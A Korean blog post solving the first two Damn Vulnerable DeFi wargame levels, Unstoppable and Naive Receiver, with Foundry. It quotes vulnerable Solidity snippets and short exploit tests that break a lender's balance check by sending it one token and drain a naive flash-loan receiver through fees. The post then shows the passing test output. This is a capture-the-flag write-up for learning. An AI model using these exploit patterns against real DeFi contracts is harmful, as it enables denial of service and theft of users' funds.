티스토리 뷰

 안녕하세요, piatoss입니다.

 

 Ethernaut도 거의 다 풀었고 하니, 새로운 워게임을 시작해보려고 합니다. 이름하야 'Damn Vunerable DeFi'. 직역하면 'ㅈ나 취약한 DeFi'쯤 되겠네요. DeFi 컨트랙트의 취약점을 공격해 보고 '이런 식으로 코드를 짜면 안 되겠구나!' 하는 교훈을 얻는 게임입니다.

 

 그런데 문제가 있습니다. 이 게임의 경우는 시나리오에 맞게 자바스크립트 테스트 코드를 작성해야 합니다. 이게 왜 문제냐고요? 제가 자바스크립트 알레르기가 있어서 그렇습니다. 자바스크립트만 보면 의욕이 뚝뚝 떨어지더라고요. 그래서 대체재가 없나 찾아보다가 foundry를 사용해 개정해 놓은 버전을 찾았습니다. 저는 이걸 사용해서 문제를 풀어보도록 하겠습니다.

 

GitHub - piatoss3612/damn-vulnerable-defi-foundry: Damn Vulnerable DeFi - Foundry Version

Damn Vulnerable DeFi - Foundry Version. Contribute to piatoss3612/damn-vulnerable-defi-foundry development by creating an account on GitHub.

github.com


1. Unstoppable

 

Unstoppable

There’s a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends. To pass the challenge, make the vault stop offering flash loans. You start with 10 DVT tokens in balance.

www.damnvulnerabledefi.xyz

 첫 번째 문제입니다. 두 개의 주요 컨트랙트 ReceiverUnstoppable과 UnstoppableLender가 있고 Receiver가 Lender로부터 플래시론을 받는 것을 방해해야 합니다.

 

 Lender는 다음과 같이 poolBalance를 상태 변수로 선언하여 렌딩 풀에 들어있는 토큰의 잔액을 추적합니다. 그리고 balanceOf 함수를 호출하여 실제 잔액을 불러온 뒤, 실제 추적된 잔액과 비교하여 두 값이 서로 다른 경우 오류를 반환합니다. 여기서 의도적으로 Lender에게 토큰을 주입하여 두 값을 비교한 결과가 다르게 나오도록 한다면?

uint256 public poolBalance;

function flashLoan(uint256 borrowAmount) external nonReentrant {
    ...
    
    uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
    if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();

    // Ensured by the protocol via the `depositTokens` function
    if (poolBalance != balanceBefore) revert AssertionViolated();

    ...
}

 테스트 코드를 다음과 같이 작성합니다. vm.prank를 사용해 서명자를 attacker로 지정하고 Lender 컨트랙트로 공격자가 가진 토큰의 일부를 전송하여 Lender 컨트랙트의 실제 토큰 잔액이 변경되도록 합니다. 

function testExploit() public {
    /**
     * EXPLOIT START *
     */
    vm.prank(attacker);
    dvt.transfer(address(unstoppableLender), 1);
    /**
     * EXPLOIT END *
     */
    ...
}

 테스트 실행 결과는 다음과 같습니다.

$ make Unstoppable 
forge test --match-test testExploit --match-contract Unstoppable
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for test/Levels/unstoppable/Unstoppable.t.sol:Unstoppable
[PASS] testExploit() (gas: 48050)
Logs:
  🧨 Let's see if you can break it... 🧨
  
🎉 Congratulations, you can go to the next level! 🎉

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.06ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

2. Naive Receiver

 

Naive receiver

There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH. A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH. Take all ETH out of the user

www.damnvulnerabledefi.xyz

 두 번째 문제입니다. 플래시 론을 제공하는 NaiveReceiverLenderPool 컨트랙트와 플래시 론을 통해 이더를 받는 FlashLoanReceiver 컨트랙트가 있습니다. LenderPool의 수수료는 1 ETH로 고정되어 있고 Receiver에게 있는 10 ETH를 탈취해야 합니다.

 

 이 문제는 단순히 LenderPool의 flashLoan 함수를 10번 반복하여 호출하는 것으로 해결할 수 있습니다. 왜냐하면 Receiver가 너무나도 순진하게 묻지도 따지지도 않고 LenderPool에게 수수료를 떼주기 때문입니다.

// Function called by the pool during flash loan

function receiveEther(uint256 fee) public payable {
    if (msg.sender != pool) revert SenderMustBePool();

    uint256 amountToBeRepaid = msg.value + fee;

    if (address(this).balance < amountToBeRepaid) {
        revert CannotBorrowThatMuch();
    }

    _executeActionDuringFlashLoan();

    // Return funds to pool
    pool.sendValue(amountToBeRepaid);
}

 테스트 코드를 다음과 같이 작성합니다. flashLoan 함수를 10번 실행하여 Receiver에게 임의의 ETH를 전송하면 전송한 ETH + 1 ETH가 되돌아오는 마법이 일어납니다.

function testExploit() public {
    /**
     * EXPLOIT START *
     */
    for (uint256 i = 0; i < 10; i++) {
        naiveReceiverLenderPool.flashLoan(address(flashLoanReceiver), 1e18);
    }
    /**
     * EXPLOIT END *
     */
    validation();
    console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
}

 테스트 실행 결과는 다음과 같습니다.

$ make NaiveReceiver 
forge test --match-test testExploit --match-contract NaiveReceiver
[⠔] Compiling...
No files changed, compilation skipped

Running 1 test for test/Levels/naive-receiver/NaiveReceiver.t.sol:NaiveReceiver
[PASS] testExploit() (gas: 187581)
Logs:
  🧨 Let's see if you can break it... 🧨
  
🎉 Congratulations, you can go to the next level! 🎉

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.64ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 25. Motorbike  (0) 2024.02.23
[Damn Vulnerable DeFi] Truster, Side Entrance  (0) 2024.02.22
[Ethernaut] 18. MagicNumber  (0) 2024.02.15
[Ethernaut] 29. Switch  (0) 2024.02.07
[Ethernaut] 28. Gatekeeper Three  (1) 2024.02.06
최근에 올라온 글
최근에 달린 댓글
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Total
Today
Yesterday
글 보관함